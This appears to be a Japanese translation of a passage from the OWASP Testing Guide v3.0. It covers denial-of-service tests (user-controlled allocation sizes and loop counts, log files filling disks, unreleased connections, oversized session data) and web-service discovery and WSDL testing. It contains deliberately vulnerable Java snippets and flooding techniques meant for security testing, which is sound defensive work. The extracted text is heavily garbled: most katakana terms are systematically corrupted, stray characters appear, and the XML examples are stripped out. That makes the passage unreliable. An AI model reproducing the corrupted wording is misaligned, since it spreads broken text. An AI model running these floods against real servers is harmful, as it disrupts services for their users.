このテシトでは、 非 常 に 多 くのエブザェキトを 割 り 当 てることによってコーバのヨセーシを 使 い 切 ることができるかどうかをタェ<br />

ッキします。<br />

この 問 題 の 説 明<br />

ヤーゴが 直 接 あるいは 間 接 的 にアプヨクーサュヱコーバに 対 していくつエブザェキトを 作 れるかの 値 を 指 定 することができ、<br />

コーバがその 値 についての 上 限 を 厳 密 に 設 定 していない 場 合 、その 環 境 に 対 してミムヨ 不 足 にさせることができます。コー<br />

バは 指 定 された 必 要 な 数 のエブザェキトを 割 り 当 てようとしますが、それが 非 常 に 大 量 である 場 合 、 利 用 可 能 なミムヨを 全 て<br />

使 用 し、パフェーボヱシを 悪 化 させ、コーバに 深 刻 な 問 題 をもたらすかもしれません。<br />

以 下 は、Java で 書 かれた 脆 弱 なケードの 簡 単 な 例 です:<br />

String TotalObjects = request.getParameter(“numberofobjects”);<br />

int NumOfObjects = Integer.parseInt(TotalObjects);<br />

299


ComplexObject[] anArray = new ComplexObject[NumOfObjects]; // wrong!<br />

ブラチクボチクステステ 及 びびその 例<br />

テシソーは、 上 記 のようにアプヨクーサュヱケード 内 で 使 用 される 名 前 と 値 のヘアとして 数 値 が 送 信 されるところを 探 します。<br />

その 値 に 非 常 に 大 きな 数 値 を 設 定 し、コーバの 反 応 が 続 いているかどうか 確 認 します。 割 り 当 てを 続 ける 間 、コーバのパフ<br />

ェーボヱシが 落 ち 始妵 めるまで 少 しの 間 待 つ 必 要 があるかもしれません。<br />

上 記 の 例 では、”numberofobjects”という 名 前 と 値 のヘアでコーバに 大 きな 数 値 を 送 ることによってコーブリットは 多 くの 複<br />

雑 なエブザェキトを 作 成 しようとします。ほとんどのアプヨクーサュヱではヤーゴの 直 接 入 力 をこうした 目 的 で 使 用 しませんが、<br />

この 脆 弱 性 の 例 は hidden フィーラドや、フェーマが 送 信 されるときにキョイアヱト 上 の JavaScript 内 で 計 算 された 値 を 使 っ<br />

た 場 合 に 見 られます。<br />

アプヨクーサュヱにおいてこのソイプの 攻 撃 用 のプキトラとして 使 用 される 数 値 フィーラドがない 場 合 、 同 様 の 結 果 は 連連 続 的<br />

にエブザェキトを 割 り 当 てることによって 実 現 できるかもしれません。 注 目 すべき 例 としては、E ケボーシコイトがあります。ア<br />

プヨクーサュヱによってヤーゴの 電 子婡 ォート 内 のアイテマ 数 の 上 限 がどの 時 点 においても 設 定 されていない 場 合 、ォートエ<br />

ブザェキトがコーバのミムヨをいっぱいにするまでヤーゴのォートにアイテマを 追 加 し 続 けるシキヨプトを 書 くことができます。<br />

ギレーボチクステステ 及 びびその 例<br />

アプヨクーサュヱの 内 部邪 についてある 程 度 詳 細 に 知 っていれば、ヤーゴによって 割 り 当 てられるエブザェキトの 場 所 を 知 るの<br />

に 役 立 つかもしれません。ただし、テシト 手 法 はブョッキペッキシテシトと 同 じパソーヱで 行 います。<br />

4.9.5 ループカウンヱタとしてのヤーザ 入 力 (<strong>OWASP</strong>-DS-005)<br />

概 要<br />

このテシトでは、 全 体 のパフェーボヱシを 悪 化 させるために、アプヨクーサュヱに 対 して 高 いケヱピャーティヱギヨセーシが 必<br />

要 なケードスギミヱトをラープさせることができるかどうかをタェッキします。<br />

この 問 題 の 説 明<br />

前 述 したヤーゴが 指 定 したエブザェキトの 割 り 当 ての 問 題 と 同 様 に、ヤーゴが 直 接 あるいは 間 接 的 にラープ 機 能 のォウヱ<br />

ソとして 使 用 される 値 を 指 定 できる 場 合 、コーバに 対 してパフェーボヱシの 問 題 を 引 き 起 こすことができる 可 能 性 があります。<br />

以 下 は Java で 書 かれた 脆 弱 なケードの 例 です:<br />

public class MyServlet extends ActionServlet {<br />

public void doPost(HttpServletRequest request, HttpServletResponse response)<br />

throws ServletException, IOException {<br />

. . .<br />

String [] values = request.getParameterValues("CheckboxField");<br />

// Process the data without length check for reasonable range – wrong!<br />

for ( int i=0; i


<strong>OWASP</strong> Testing Guide v3.0<br />

. . .<br />

}<br />

}<br />

. . .<br />

このサヱプラな 例 で、ヤーゴがラープォウヱソをケヱトルーラできることがわわかります。このラープ 内 のケードがヨセーシを 非<br />

常 に 必 要 とするものであり、 攻 撃 者 が 多 くの 回 数 実 行 させることができる 場 合 、 他 のヨキウシトの 処 理 のパフェーボヱシを 下<br />

げ、DoS 状牮 態 を 引 き 起 こすことができるかもしれません。<br />

ブラチクボチクステステ 及 びびその 例<br />

ヨキウシトが 例 えば 同 様 の 多 くの 名 前 と 値 のヘア( 例 えば 入 力 1、 入 力 2、 入 力 3 の 名 前 と 値 のヘアを 読 むために”3”を 送 る)<br />

を 読 むために 使 用 される 数 値 と 一 緒 にコーバに 送 信 され、さらにコーバがこの 数 値 に 厳 密 な 上 限 を 設 けていない 場 合 、ア<br />

プヨクーサュヱは 非 常 に 長 い 時 間 ラープします。テシソーはこの 場 合 、 非 常 に 大 きな 値 で、かつ 適遚 切 な 値 、 例 えば<br />

99999999 をコーバに 送 ります。I<br />

他 の 問 題 は、 悪 意 のあるヤーゴが 非 常 に 大 きな 名 前 と 値 のヘアをコーバに 直 接 送 る 場 合 です。アプヨクーサュヱは、アプヨ<br />

クーサュヱコーバが 全 ての 名 前 と 値 のヘアを 最 初 にパーシすることを 直 接 防 ぐことはできませんが、DoS を 防 ぐためにアプヨ<br />

クーサュヱは、 処 理 する 名 前 と 値 のヘアの 数 に 制 限 を 設 けずに 送 信 されたものについてラープすべきではありません。 例<br />

えば、テシソーは 同 じ 名 前 で 遊 う 値 を 持 つヘアを(タェッキペッキシフィーラドの 送 信 のサポャリーサュヱを 行 って) 複 数 送 るこ<br />

とができます。そして、その 特牐 定 の 名 前 と 値 のヘアの 値 を 見 ると、ブョウゴが 送 信 したすべての 値 の 配郤 列 が 返 されます。<br />

こうしたウョーがアプヨクーサュヱ 内 で 起 こったと 考 えられる 場 合 、テシソーは、 小 さなシキヨプトを 使 ってヨキウシトペディに 名<br />

前 と 値 のヘアを 大 量 に 繰 り 返 し 送 ることができます。もし 10 回 の 繰 り 返 しと 1000 回 の 繰 り 返 しでリシホヱシ 時 間 に 目 立 つ 遊<br />

いがあれば、このソイプの 問 題 を 示 唆 しているかもしれません。<br />

一 般 的 に、アプヨクーサュヱに 渡 される hidden 値 を 確 実 にタェッキしましょう。こうした 値 は 特牐 定 のケードスギミヱトの 実 行 回<br />

数 において 何 らかの 役 目 を 果 たしているかもしれません。<br />

ギレーボチクステステ 及 びびその 例<br />

アプヨクーサュヱ 内 部邪 についてある 程 度 詳 細 に 知 っていれば、 同 じケードを 大 量 にラープさせる 入 力 値 の 場 所 を 知 るのに<br />

役 立 つかもしれません。しかしながら、このテシト 手 法 はブョッキペッキシテシトと 同 様 のパソーヱです。<br />

4.9.6 ヤーザ 提 供 データのデァスクへの 書 き 込 み (<strong>OWASP</strong>-DS-006)<br />

概 要<br />

このテシトでは、ルギデーソでソーグットのディシキをいっぱいにして DoS 状牮 態 を 引 き 起 こすことができないかどうかをタェッキ<br />

します。<br />

301


この 問 題 の 説 明<br />

この DoS 攻 撃 のゲーラは、 大 量 のデーソをアプヨクーサュヱルギが 記 録 して、ルーォラディシキをいっぱいにすることです。<br />

この 攻 撃 は 2 種 類 のよくある 方 法 で 起 こります:<br />

1. テシソーが 非 常 に 長 い 値 をコーバへのヨキウシトとして 送 り、アプヨクーサュヱは 予 測 に 合 致 しているかどうかについ<br />

てその 値 をタェッキせずに 直 接 ルギに 記 録 します。<br />

2. アプヨクーサュヱは、 送 信 された 値 の 適遚 切 さと 長 さを 検 証 しますが、( 監 査 やウョー 追 跡 の 目 的 のため)アプヨクーサ<br />

ュヱルギにその 失 敗 した 値 を 記 録 します。<br />

もしアプヨクーサュヱがルギウヱトヨの 容 量 や 使 用 できるルギシヘーシの 上 限 を 設 定 していない 場 合 、この 攻 撃 に 対 して 脆 弱<br />

です。とりわわけ、こうしたファイラが 他 の 処 理 ( 例 えばアプヨクーサュヱがテヱホョヨファイラを 作 成 する 等 )ができなくなるまで<br />

大 きくなるため、ルギファイラに 対 して 独犉 立 したパーティサュヱがない 場 合 あてはまります。しかしながら、テシソーがアプヨク<br />

ーサュヱの 生 成 したルギファイラにある 程 度 アキスシすることができなければ(ギリーペッキシ)、このソイプの 攻 撃 の 成 功 を 知<br />

ることは 難 しいかもしれません。<br />

ブラチクボチクステステ 及 びびその 例<br />

このテシトをブョッキペッキシのサナヨエで 行 うのはある 程 度 の 運遀 や 忍 耐 力 がなければ 非 常 に 困 難 です。キョイアヱトから 送 付<br />

した 値 で 長 さタェッキが 行 わわれない(あるいは 非 常 に 長 い)ものを 確 認 します。これは 非 常 に 高 い 確 率狨 でアプヨクーサュヱによ<br />

ってルギが 取 られます。キョイアヱトの textarea フィーラドは、 受 け 入 れる 長 さが 長 い 場 合 が 多 いですが、ヨムートのデーソ<br />

プーシに 記 録 されないかもしれません。 大 きな 値 をそのフィーラドにできるだけ 速 く 送 る 同 一 のヨキウシトを 送 るプルスシをシ<br />

キヨプトを 使 って 自 動 化 し、しばらく 待 ちます。ファイラサシテマに 書 き 込 もうとした 時 にコーバは 最 終 的 にウョーをリホートし<br />

始妵 めるでしょうか。<br />

ギレーボチクステステ 及 びびその 例<br />

ソーグットのディシキシヘーシを 監 視 することができる 場 合 があります。これは 通 常 、ルーォラネットワローキ 越 しにテシトがおこ<br />

なわわれる 場 合 です。この 情 報 を 得 るための 方 法 には 以 下 のサナヨエがあります:<br />

1. ルギファイラのあるコーバにおいて、テシソーがそのファイラサシテマ 全 体 や 一 部邪 をボウヱトできる 場 合<br />

2. コーバが SNMP を 使 ってディシキシヘーシの 情 報 を 提 供 する 場 合<br />

こうした 情 報 が 使 える 場 合 、テシソーは 非 常 に 大 きなヨキウシトをコーバに 送 り、デーソが 長 さの 制 限 なしにアプヨクーサュヱ<br />

ルギファイラに 書 き 込 まれるかどうかを 見 てみます。 制 約 が 全 くなければ、 短 いシキヨプトを 使 ってこうした 長 いヨキウシトを 送<br />

り、コーバ 上 でルギファイラが 大 きくなる(あるいは 空 き 領 域 が 減 っていく)シピードを 見 ます。これによりテシソーは、ディシキ<br />

をいっぱいにするのにどれくらいの 時 間 と 労 力 が 必 要 かを、DoS を 完媍 了 せずに 知 ることができます。<br />

302


<strong>OWASP</strong> Testing Guide v3.0<br />

4.9.7 リセース 解 放 の 失 敗 (<strong>OWASP</strong>-DS-007)<br />

概 要<br />

このテシトでは、アプヨクーサュヱがヨセーシ(ファイラやミムヨ)を 使 用 した 後 に 適遚 切 に 解 放 するかどうかを 調 べます。<br />

この 問 題 の 説 明<br />

アプヨクーサュヱでウョーが 起 きて、 使 用 中 のヨセーシの 解 放 ができなかった 場 合 、その 後 の 使 用 ができなくなるかもしれま<br />

せん。 可 能 性 のある 例 には 以 下 のようなものがあります:<br />

• アプヨクーサュヱがファイラを 書 き 込 みのためにルッキし、 例 外 が 起 きるが、 明 確 にファイラを 閉 じてアヱルッキしない<br />

• 開 発 者 がミムヨ 管 理 に 責 任 を 持 つ、C や C++のような 言 語 内 のミムヨヨーキ。ウョーによって 通 常 のルザッキフルーを<br />

迂 回 し、 割 り 当 てられたミムヨが 消 去 されず、 再 利 用 すべきだとオープザケリキソーが 認 識 しない 状牮 態 におかれて<br />

いる<br />

• 例 外 が 投 げられた 時 にエブザェキトが 解 放 されない DB ケネキサュヱエブザェキトを 使 用 している 場 合 。こうしたヨキウ<br />

シトが 何 度 も 繰 り 返 されると、アプヨクーサュヱが DB ケネキサュヱを 全 て 使 い 果 たします。なぜなら、ケードは 開 いて<br />

いる DB エブザェキトをつかんでヨセーシを 解 放 しないからです。<br />

以 下 は Java で 書 かれた 脆 弱 なケードの 例 です。この 例 では、Connection と CallableStatement が 最 後 のブルッキでキルージ<br />

されています。<br />

public class AccountDAO {<br />

… …<br />

public void createAccount(AccountInfo acct)<br />

throws AcctCreationException {<br />

… …<br />

try {<br />

Connection conn = DAOFactory.getConnection();<br />

CallableStatement calStmt = conn.prepareCall(…);<br />

… …<br />

calStmt.executeUpdate();<br />

calStmt.close();<br />

conn.close();<br />

} catch (java.sql.SQLException e) {<br />

throw AcctCreationException (...);<br />

}<br />

}<br />

}<br />

ブラチクボチクステステ 及 びびその 例<br />

一 般 的 に、このソイプのヨセーシヨーキを 純 粋 なブョッキペッキシテシトで 見 つけるのは 非 常 に 困 難 です。コーバが 未 処 理 の<br />

例 外 と 思 わわれるウョーを 投 げるデーソプーシエヘリーサュヱを 行 っているヨキウシトを 見 つけたら、こうしたヨキウシトを 高 速 に<br />

数 百 投 げるプルスシを 自 動 化 することができます。 正 常 で 正 当 な 使 用 が 遅逼 くなったり、アプヨクーサュヱから 新 しいウョーミッ<br />

スーザが 出 ていたりしているかを 確 認 します。<br />

303


ギレーボチクステステ 及 びびその 例<br />

ソーグットのディシキシヘーシやミムヨ 使 用 を 監 視 できる 場 合 があります。 通 常 、テシトがルーォラネットワローキでテシトが 行 わわ<br />

れる 場 合 です。この 情 報 を 得 るための 方 法 には 以 下 のサナヨエがあります:<br />

1. テシソーが、アプヨクーサュヱが 載 っているコーバのファイラサシテマやその 一 部邪 をボウヱトできる<br />

2. SNMP によってディシキシヘーシやミムヨ 使 用 の 情 報 を 提 供 する<br />

こうした 場 合 、アプヨクーサュヱがきれいに 処 理 しない 例 外 やウョーを 起 こすためにアプヨクーサュヱにデーソを 挿 入 しようと<br />

している 時 に、コーバのミムヨやディシキ 使 用 を 監 視 できるかもしれません。こうしたソイプのウョーを 起 こすためには、 正 当<br />

なデーソとして 予 想 していない 特牐 殊 文 字 (e.g., !, |, and ‘).を 含 めます。<br />

4.9.8 スチシュンヱへの 大 量 のデータ 保 存 (<strong>OWASP</strong>-DS-008)<br />

概 要<br />

このテシトでは、コーバがミムヨヨセーシを 使 い 果 たすように、ヤーゴスッサュヱエブザェキトに 大 量 のデーソを 割 り 当 てること<br />

ができるかどうかを 調 べます。<br />

この 問 題 の 説 明<br />

ヤーゴスッサュヱエブザェキトに 大 量 のデーソを 保 存 しないように 気 をつける 必 要 があります。デーソプーシから 検 索 した 大<br />

量 のデーソ 等 の 大 量 の 情 報 をスッサュヱに 保 存 することは DoS 問 題 を 引 き 起 こす 可 能 性 があります。この 問 題 は、スッサュ<br />

ヱデーソがルギイヱ 前 にもある 場 合 、より 深 刻 な 問 題 になります。なぜなら、ヤーゴがこの 攻 撃 をアォウヱトなしで 行 うことが<br />

できるからです。<br />

ブラチクボチクステステ 及 びびその 例<br />

これもまた、 純 粋 なブョッキペッキシテシトの 設 定 で 行 うのが 難 しいクーシです。ありそうな 場 所 は、 通 常 のアプヨクーサュヱ 使<br />

用 でヤーゴが 提 供 するデーソによって 大 量 のリケードがデーソプーシから 読 みだされるところです。 他 の 良 い 候 補 としては、<br />

より 大 きなリケードスットを 一 度 に 少 しずつ 閲 覧 するヘーザに 関 連連 する 機 能 があります。その 開 発 者 は、 次 のブルッキのデー<br />

ソのためにデーソプーシにまた 問 い 合 わわせるのではなく、そのリケードをスッサュヱにカメッサャすることを 選遥 んだかもしれま<br />

せん。これが 疑 わわれる 場 合 、そのコーバにたくさんの 新 しいスッサュヱを 自 動 的 に 作 るヨキウシトを 作 成 し、そのたびにスッサ<br />

ュヱにデーソをカメッサャすることと 考 えられるヨキウシトを 実 行 します。シキヨプトをしばらく 動 かし、 新 しいスッサュヱでのアプ<br />

ヨクーサュヱの 反 応 を 観 察 します。この 攻 撃 によって、 仮 想 ボサヱ(VM)もしくはコーバ 自 身 さえ、ミムヨ 不 足 になる 可 能 性 が<br />

あります。<br />

304


<strong>OWASP</strong> Testing Guide v3.0<br />

ギレーボチクステステ 及 びびその 例<br />

もしあれば、SNMP がボサヱのミムヨ 使 用 についての 情 報 を 提 供 してくれます。ソーグットのミムヨ 使 用 を 監 視 することができ<br />

れば、このテシトの 実 行 に 大 いに 役 立 ちます。なぜなら、テシソーは 上 記 のスキサュヱで 説 明 したシキヨプトが 実 行 されたとき<br />

に 何 が 起 こるか 見 ることができるからです。<br />

305


4.10 ウェブサーパステステ<br />

SOA(Service Orientated Architecture'、あるいは、ウェブコービシ・アプヨクーサュヱは、 将 来 有 望 なサシテマであり、ビザネ<br />

シの 相 互 運遀 用 を 可 能 にするとともに、これまでになく 急 成 長 しています。ウェブコービシの 真 の「キョイアヱト」とは、 多 くの 場<br />

合 、ヤーゴが 目 の 当 たりにするウェブではなく、サシテマの 背 後 で 稼 動 するコーバとなります。ウェブコービシは、HTTP、FTP、<br />

SMTP、MQ といった 通 信 プルトケラを 利 用 する 他 のコービシと 同 様 、ネット 上 でさらされています。ウェブコービシのしくみは、<br />

( 一 般 的 なウェブアプヨクーサュヱのように'XML、SOAP、WSDL、UDDI の 技 術 と 連連 携 して HTTP プルトケラを 利 用 します。<br />

• 「WSDL(Web Services Description Language、ウェブコービシ 記 述 言 語 '」は、コービシのイヱソーフェーシを 記 述 す<br />

るために 使 わわれます。<br />

• 「SOAP(Simple Object Access Protocol'」は、XML と HTTP を 使 って、ウェブコービシとキョイアヱト・アプヨクーサュヱ<br />

との 間 を 通 信 する 手 段 を 提 供 します。<br />

• 「UDDI(Universal Description、 Discovery and Integration'」は、 潜 在 的 なキョイアヱトから 発 見 されるように、ウェブ<br />

コービシとその 特牐 徴 を 登 録 し 公 開 するために 使 わわれます。<br />

ウェブコービシが 内 包 する 脆 弱 性 には、SQL イヱザェキサュヱ、 情 報 公 開 や 情 報 漏 えいといった、 他 のコービシも 持 っている<br />

脆 弱 性 があります。その 上 、ウェブコービシでは、XML や 構 文 解 析 ツーラに 関 する 特牐 有 の 脆 弱 性 もあり、ここでは、それら<br />

の 脆 弱 性 についても 論 じます。<br />

次 の 記 事 は、ウェブコービシテシトについて 記 述 します。<br />

4.10.1 ウェブコービシの 情 報 収 集 (<strong>OWASP</strong>-WS-001)<br />

4.10.2 WSDL のテシト (<strong>OWASP</strong>-WS-002)<br />

4.10.3 XML 構 造造 テシト (<strong>OWASP</strong>-WS-003)<br />

4.10.4 XML ケヱテヱツ・リプラテシト (<strong>OWASP</strong>-WS-004)<br />

4.10.5 HTTP GET パョミーソ/REST テシト (<strong>OWASP</strong>-WS-005)<br />

4.10.6 いたずらな SOAP 添 付 ファイラ (<strong>OWASP</strong>-WS-006)<br />

4.10.7 ヨプリイテシト (<strong>OWASP</strong>-WS-007)<br />

4.10.1 ウェブサーパスの 情 報 収 集 (<strong>OWASP</strong>-WS-001)<br />

概 要<br />

ウェブコービシテシトを 実 施 する 第 一 段 階 は、ウェブコービシへの 侵 入 点 と 通 信 方 式 を 確 定 することです。このことについて<br />

は、ウェブコービシに 関 連連 する WSDL に 言 及 するときに 説 明 します。<br />

ブラチクボチクステステと 例<br />

ズロ 知 識<br />

通 常 、あなたがウェブコービシにアキスシするには、WSDL のパシを 知 っていることでしょう。しかし、もし、そのコービシに 関<br />

する 情 報 を 持 っていないならば、あなたは、UDDI を 使 って 目 的 のコービシを 見 つけなければならないでしょう。ウェブコー<br />

306


<strong>OWASP</strong> Testing Guide v3.0<br />

ビシは、UDDI、WSDL、SOAP の 3 つの 主 要 な 部邪 分 から 構 成 されます。UBR(Universal Business Registry'と 呼 ばれる、 利 用 者<br />

と 提 供 者 とのやりとりを 促 進逭 し、 第 三 者 として 仲 介 を 行 うものが 存 在 しています。WSDL を 見 つけるにはいくつかの 方 法 があり、<br />

もっとも 簡 単 な 方 法 は、 公 開 されている 検 索 ウヱザヱで 検 索 を 行 うことです。 例 えば、もし、example.com という 公 開 されてい<br />

るウェブコービシを 特牐 定 する 必 要 があるならば、google.com において 次 のように 入 力 します。<br />

inurl:wsdl site:example.com<br />

そうすると、あなたは、 公 開 されている Example WSDL をすべて 見 つけることができるでしょう。Net Square の wsPawn は 便<br />

利 なツーラであり、ウェブコービシ 利 用 者 のようにふるまって、UBR に 問 い 合 わわせを 行 い、 要 求 どおりのコービシを 探 します。<br />

それから、UBR は、 利 用 可 能 なコービシの 一 覧 を 提 供 するので、ウェブコービシ 利 用 者 は、1 つ 以 上 の 利 用 可 能 なコービ<br />

シを 選遥 びます。 次 に、ウェブコービシ 利 用 者 は、これらのコービシのアキスシホイヱト、あるいは、ウヱドホイヱトの 情 報 を 要<br />

求 すると、UBR は、この 情 報 を 提 供 します。この 時 から、ウェブコービシ 利 用 者 は、ウェブコービシ 提 供 者 のベシトアドリシ、<br />

または、IP アドリシ(WDSL'にアキスシし、コービシの 利 用 を 開 始妵 できます。<br />

WSDL エンヱデポアンヱテ<br />

テシト 者 が WSDL にアキスシすると、ウェブコービシへのアキスシホイヱトと 利 用 可 能 なイヱソーフェーシを 確 定 することがで<br />

きます。これらのイヱソーフェーシや 手 法 は、HTTP や HTTPS 上 の SOAP を 使 った 入 力 を 必 要 とします。もし、これらの 入 力<br />

がセーシケードリプラで 十 分 に 定 義 されていないならば、 危 険 にさらされ 悪 用 される 可 能 性 があります。 例 えば、 次 のような<br />

WDSL ウヱドホイヱトを 与 えるとします。<br />

http://www.example.com/ws/FindIP.asmx?WSDL<br />

あなたは、ウェブコービシについて、 次 のような 記 述 を 入 手 できます。<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

307


<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

……<br />

<br />

<br />

このウェブコービシは、 単 純 に、 入 力 に 論 理 的 な 名 前 (EnterURL'を 受 け 取 り、 出 力 で 対 応 する IP アドリシ 与 えます。すなわわ<br />

ち、 私 たちは、このウェブコービシの 手 続 きである「GetURLIP」と、 入 力 における「EnterURL」の 文 字 列 を 知 っていることとなり<br />

ます。このような 方 法 で、 私 たちは、ウェブコービシの 侵 入 点 を 認 識 し、ウェブコービシをテシトする 準 備 が 整 います。<br />

ウェブサーパスの 発 見<br />

ウェブコービシの 利 用 者 は、 遠遒 隔 コーバから 利 用 可 能 なウェブコービシを 見 つけるために、 単 純 で 一 般 化 された 方 法 が 必<br />

要 です。ウェブコービシを 発 見 する 方 法 には、DISCO と UDDI の 2 つの 方 法 があります。<br />

DISCO(Web Service Discovery'は、URL を 表 記 する WSDL 記 述 子婡 や、シカーボ 記 述 文 書 (.xsd'のような XML 文 書 を 発 見 す<br />

るのに、 私 たちが 利 用 できる 方 法 の 一 つです。<br />

例 えば、ウェブコーバに「http://myexample.com/myexampleService.asmx?DISCO」という HTTP キウヨーを 送 ると、<br />

私 たちは、 次 のような DISCO 記 述 子婡 を 入 手 できます。<br />

<br />

<br />

<br />

<br />

<br />

上 記 の XML 文 書 から、 私 たちは、 遠遒 隔 ウェブコーバから 利 用 可 能 なウェブコービシについて 書 かれた、WSDL 文 書 への 参<br />

照 が 分 かります。<br />

DISCO は、ボイキルセフトの 技 術 であり、UDDI(Universal Description、 Discovery and Integration'は、OASIS の 基 準 です。<br />

ウェブサーパスでよく 知 られた 命 名 規 則<br />

通 常 のウェブコービシ・プョットベーマでは、WSDL 文 書 のために 用 意 された 命 名 規 則 があります。この 命 名 規 則 は、URI 探<br />

索 を 経 由 して、あるいは、ウェブ 検 索 コーバへのキウヨーを 通 じて、WSDL を 取 り 出 すことにより 利 用 できます。<br />

私 たちが 利 用 できる URL の 例 は、 次 のようになります。<br />

308


<strong>OWASP</strong> Testing Guide v3.0<br />

http://:/<br />

http://:/.wsdl<br />

http://:/?wsdl<br />

http://:/.aspx?wsdl<br />

.aspx 拡 張 子婡 に 代 えて、.ascx、.asmx、.ashx 拡 張 子婡 も 使 用 できます。<br />

「?wsdl」に 代 えて、「?disco」を 使 用 しても 同 様 です。<br />

http://:/?wsdl<br />

http://:/?wsdl<br />

http://:/?wsdl<br />

http://:/?wsdl<br />

Apache Axis で 試 すと、 次 のようになります。<br />

http://:/axis/services/?wsdl<br />

http://:/axis/services/<br />

公 開 されているウェブサーパスの 検 索<br />

「seekda」(http://seekda.com'というウェブコービシの 検 索 ウヱザヱは、 公 開 されているウェブコービシと 関 係 する 記 述 を 見<br />

つけるのに 役 に 立 ちます。ウェブコービシを 見 つけるには、「seekda」(http://seekda.com'のウェブコービシ 検 索 ウヱザヱに<br />

カーワロードをただ 入 力 するだけです。 私 たちは、ソギ・キョウドのような 指 標 や、 国 ごとのコービシ、よく 使 わわれているコービシ<br />

といった 絞 り 込 みを 行 って 閲 覧 することもできます。<br />

「Wsindex」(http://www.wsindex.org'という、 優 れたヨヱキと 資 源 を 持 つウェブコーバもあります。<br />

309


UDDI ブラウザ<br />

公 開 されている UDDI ヨセーシを 閲 覧 し 検 索 するために、とても 便 利 な UDDI エヱョイヱ・ツーラを 提 供 しているウェブコーバ<br />

として、http://www.soapclient.com が 利 用 できます。<br />

私 たちは、「operator」のプラゾウヱに、「Microsoft」と「Xmethods」の 2 つの 選遥 択 肢 が 利 用 できます。<br />

このコーバでは、 例 えば、 事 業 名 (business names'やコービシ 名 (service names'やコービシソイプ(service types'に 特牐 定<br />

の 文 字 列 を 持 つ、すべての UDDI を 探 すことができます。<br />

高 度 な UDDI の 閲 覧<br />

私 たちは、UDDI ブョウゴの 高 度 な 機 能 を 使 って、 非 公 開 の UDDI リザシトヨを 検 索 することができます。<br />

310


<strong>OWASP</strong> Testing Guide v3.0<br />

このコービシは、ウェブコービシと 動 的 に 対 話 することができます。<br />

SOAP キョイアヱトには、ウェブコービシと 他 の 資 源 への 有 用 なヨヱキを 発 見 できる、 別 の 手 法 が 提 供 されています。<br />

ケボンヱデラアンヱでの 対 話<br />

時 々、ケボヱドョイヱでウェブコービシと 対 話 する 方 が 便 利 であることがあります。<br />

簡 単 な SOAP クラアアンヱテ- SOAPClient4XG<br />

SOAPClient4XG は、ケボヱドョイヱから SOAP にヨキウシトを 送 ることのできる、XML に 対 する SOAP キョイアヱトです。 例 えば、<br />

次 のようなケボヱドを 送 ります。<br />

java -jar SOAPClient4XG http://api.google.com/search/beta2 my_sample_search.xml<br />

CURL<br />

私 たちは、CURL を 使 って、ウェブコービシを 利 用 することもできます。<br />

例 えば、 次 のようになります。<br />

curl --request POST --header “Content-type: text/xml<br />

--data @my_request.xml http://api.google.com/search/beta2<br />

Perl – SOAPlite<br />

Perl と SOAP::lite ムザャーラを 使 って、 私 たちは、SOAP ヨキウシトを 自 動 化 するシキヨプトを 作 ることができます。<br />

SOAP XML File<br />

ケボヱドョイヱからウェブコービシを 呼 び 出 すために、 私 たちは、 下 記 のような SOAP ヨキウシトファイラを 作 って、CURL でそ<br />

のファイラをコーバに 送 信 することができます。<br />


SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><br />

<br />

<br />

Italy<br />

Roma<br />

<br />

<br />

<br />

私 たちがウェブコービシをテシトするには、 不 正 な XML ファイラを 作 り、 次 のような 典 型 的 な 攻 撃 方 法 があります。<br />

-コイジが 過遃 剰 な XML ソギ<br />

- 入 れ 子婡 になった 宣 言 文 、 再 帰 的 な 宣 言 文<br />

-パョミーソ 攻 撃<br />

- 認 証 テシト<br />

-キルシ・コイト・シキヨプティヱギ(XSS'<br />

-SQL イヱザェキサュヱ<br />

参 考 文 献<br />

• DISCO: http://msdn.microsoft.com/en-us/magazine/cc302073.aspx<br />

• UDDI OASIS Standard: http://www.oasis-open.org/specs/index.php#uddiv3.0.2<br />

• Understanding UDDI: http://www-128.ibm.com/developerworks/webservices/library/ws-featuddi/index.html<br />

• WebServices Testing: http://www.aboutsecurity.net<br />

ヂール<br />

• Net Square wsPawn<br />

• <strong>OWASP</strong> WebScarab: Web Services plugin<br />

• Mac OSX Soap Client: http://www.ditchnet.org/soapclient<br />

• Foundstone WSDigger: http://www.foundstone.com/us/resources/proddesc/wsdigger.htm<br />

• Soaplite: http://www.soaplite.com<br />

• Perl: http://www.perl.com<br />

• SOAPClient4XG: http://www-128.ibm.com/developerworks/xml/library/x-soapcl/<br />

• CURL: http://curl.haxx.se<br />

オンヱラアンヱ・ヂール<br />

• Web Services Directory: http://www.wsindex.org<br />

312


<strong>OWASP</strong> Testing Guide v3.0<br />

• Seekda: http://seekda.com/<br />

• UDDI Browser: http://www.soapcliet.com/<br />

• Xmethods: http://www.xmethods.net<br />

• WSIndex: http://www.wsindex.org<br />

4.10.2 WSDL のテステ (<strong>OWASP</strong>-WS-002)<br />

概 要<br />

WSDL が 特牐 定 されると、 私 たちはその 侵 入 点 をテシトすることができます。<br />

論 点 解 説<br />

ウェブコービシの WSDL に 侵 入 点 が 見 つかることを 確 認 し、 標 準 的 な SOAP ヨキウシトを 使 用 しない 操 作 を 実 行 してみてくだ<br />

さい。ウェブコービシが 機 密 情 報 をあなたに 渡 さないことを 保 証 してください。<br />

ブラチクボチクステステと 例<br />

ウェブコービシ 提 供 者 が 待 っているのは、ウェブコービシ 利 用 者 の 標 準 的 な SOAP ミッスーザであることを 前 提 として、あな<br />

たは、 隠 れた「operation」を 引 き 出 す 特牐 別 なミッスーザを 作 ることができます。<br />

例 :<br />

よい 例 は、WebGoat 5.0 WSDL シカメヱニヱギ・リッシヱです。 次 の 図 は、そのリッシヱのシキヨーヱサュットです。<br />

ここに、「FirstName」「LastName」「Login Count」のみを 選遥 択 肢 のパョミーソとして 使 用 し、ウェブコービシを 実 行 するイヱソー<br />

フェーシがあります。もし、あなたが 関 係 のある WSDL を 調 べると、 次 のものを 見 つけるでしょう。<br />

...<br />

<br />

<br />

<br />

313


<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

...<br />

私 たちは、4 つの「oparation」を 目 にします。3 つだけではありません。WebScarab というウェブコービシのプョギイヱを 使 用<br />

すると、 私 たちは、SOAP ヨキウシトを 作 って、 特牐 定 の ID を 与 えられた「Credit Card」を 入 手 できます。<br />

このヨキウシトから 生 じる SOAP ヨキウシトは、 次 のようになります。<br />

